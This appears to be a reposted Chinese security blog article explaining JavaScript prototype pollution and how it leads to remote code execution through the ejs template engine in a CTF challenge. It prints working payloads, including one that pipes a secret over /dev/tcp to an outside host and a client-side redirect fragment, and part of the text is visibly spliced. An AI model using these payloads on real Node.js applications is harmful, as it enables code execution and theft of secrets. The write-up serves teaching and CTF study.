JavaScript Prototype污染攻击

访客 204 0
本文来源:JavaScript Prototype污染攻击

原创: Mr.zhang 合天智汇

0x00 正文



想了解什么是JavaScript可到合天网安实验室学习实验——Javascript基础,学习DOM操作和BOM操作,点击http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001开始学习。


原型和原型链

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。也就是说,我们定义了一个函数,就会有对应的一个类,类名为该函数名。

原型

每个函数对象都会有个prototype属性,它指向了该构建函数实例化的原型。使用该构建函数实例化对象时,会继承该原型中的属性及方法。

所有的对象都有__proto__属性,它指向了创建它的构建函数的原型。

在P神的介绍JavaScript原型污染攻击文章中我们可以知道以下两个性质。

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

原型链

所谓原型链也是指JS中的一个继承和反向查找的机制,函数对象可以通过prototype属性找到函数原型,普通实例对象可以通过__proto__属性找到构建其函数的原型。

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototype

  3. JavaScript使用prototype链实现继承机制

具体的可以参考下面的解释图(参考链接见附录)

JavaScript Prototype污染攻击-第1张图片-网盾网络安全培训window.location='http://wonderkun.cc/hack.html'/script>"}}}

方法二:后端RCE之opts.outputFunctionName

const ejs = require('ejs')

该项目使用ejs库作为模板引擎,由于该模板引擎中通常会有eval等操作用于解析,因此可以去看ejs的存在原型链污染的地方。

查看ejs源码可以发现,很大一部分调用全是为了动态拼接一个js语句,当opts存在属性outputFunctionName时,该属性outputFunctionName便会被直接拼接到这段js中。

if (!this.source) {      this.generateSource();      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';      if (opts.outputFunctionName) {        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';      }      if (opts._with !== false) {        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';        appended += '  }' + '\n';      }      appended += '  return __output.join("");' + '\n';      this.source = prepended + this.source + appended;    }

然后根据拼接的内容,生成动态函数

try{  ctor = (new Function('return (async function(){}).constructor;'));}.....else {        ctor = Function;      }      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);    }

此处如果可以控制opts.outputFunctionName为恶意代码,即可实现RCE

附上出题者的payload

{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

拼接到后端的动态函数则是:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';// After injectionprepended += ' var a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代码都被注释了'

污染了原型链之后,渲染直接变成了执行代码,并提前 return,从而 getshell

方法三:后端RCE之opts.escapeFunction

同样可以找到另外一处地方

var escapeFn = opts.escapeFunction;var ctor;....if (opts.client) {    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;    if (opts.compileDebug) {        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;    }}

伪造escapeFunction也可以打到RCE

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; returnprocess.env.FLAG","debug":true, "compileDebug": true}}}

0X02 参考


https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://blog.csdn.net/cc18868876837/article/details/81211729

https://blog.sari3l.com/posts/81dfbfaf/#%E5%8F%97%E5%BD%B1%E5%93%8D%E7%9A%84%E5%BA%93

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

https://www.xmsec.cc/prototype-pollution-notes/

https://www.anquanke.com/post/id/177093

https://snyk.io/vuln/SNYK-JS-LODASH-450202

https://github.com/jquery/jquery/pull/4333

https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/

https://juejin.im/post/5b07eb1c5188254e28710d80

https://www.smi1e.top/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

标签: 合天智汇

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~